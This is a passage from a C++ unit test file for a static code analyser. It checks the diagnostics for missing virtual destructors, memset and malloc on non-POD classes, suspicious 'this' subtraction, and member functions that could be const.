dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred 